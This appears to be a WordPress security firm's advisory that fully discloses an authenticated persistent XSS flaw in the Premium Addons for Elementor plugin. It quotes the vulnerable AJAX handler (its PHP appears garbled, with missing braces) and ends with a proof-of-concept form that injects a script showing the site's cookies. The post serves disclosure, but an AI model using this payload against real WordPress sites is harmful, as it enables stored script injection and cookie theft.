10 Sep

Hackers May Already Be Targeting this Authenticated Persistent XSS Vulnerability in Premium Addons for Elementor

As part of monitoring we do to make sure we are providing customers of our service with the best possible data on vulnerabilities in WordPress plugins they may be using we found that today a hacker looks to be probing for usage of the plugin Premium Addons for Elementor, which has 100,000+ installs, by requesting the file /wp-content/plugins/premium-addons-for-elementor/readme.txt. In looking into what the hacker might be interested in exploiting we found right away that there is an authenticated persistent cross-site scripting (XSS) vulnerability in the current version of the plugin that is similar to vulnerabilities that hackers have widely exploited recently. We saw other insecure code in the plugin and there may be additional vulnerabilities.

The plugin registers the function pa_save_maps_settings() to accessible via WordPress’ AJAX functionality to those logged in to WordPress:

add_action( 'wp_ajax_pa_maps_save_settings', array( $this, 'pa_save_maps_settings' ) );

That function, which is located in the file /adminsettings/maps.php, takes user input and saves it as the setting for the plugin’s map functionality:

public function pa_save_maps_settings() {
		if( isset( $_POST['fields'] ) ) {
			parse_str( $_POST['fields'], $settings );
		}else {
		$this->pa_maps_settings = array(
			'premium-map-api'           => $settings['premium-map-api'],
			'premium-map-disable-api'   => intval( $settings['premium-map-disable-api'] ? 1 : 0 ),
			'premium-map-cluster'       => intval( $settings['premium-map-cluster'] ? 1 : 0 ),
			'premium-map-locale'        => $settings['premium-map-locale']
		update_option( 'pa_maps_save_settings', $this->pa_maps_settings );

While a couple of the settings are sanitized/validated, the other two are not. More problematically the code lacks a capabilities checks to limit access to changing the settings to the user intended to be able to do it or a nonce check to prevent cross-site request forgery (CSRF).

As the proof of concept below confirms anyone logged in to WordPress can use that to at least cause malicious JavaScript code to run on an admin page of the website.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=premium-addons-maps, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=pa_maps_save_settings" method="POST">
<input type="hidden" name="fields" value='premium-map-api="><script>alert(document.cookie);</script>&premium-map-locale=&premium-map-disable-api=on&premium-map-cluster=on' />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.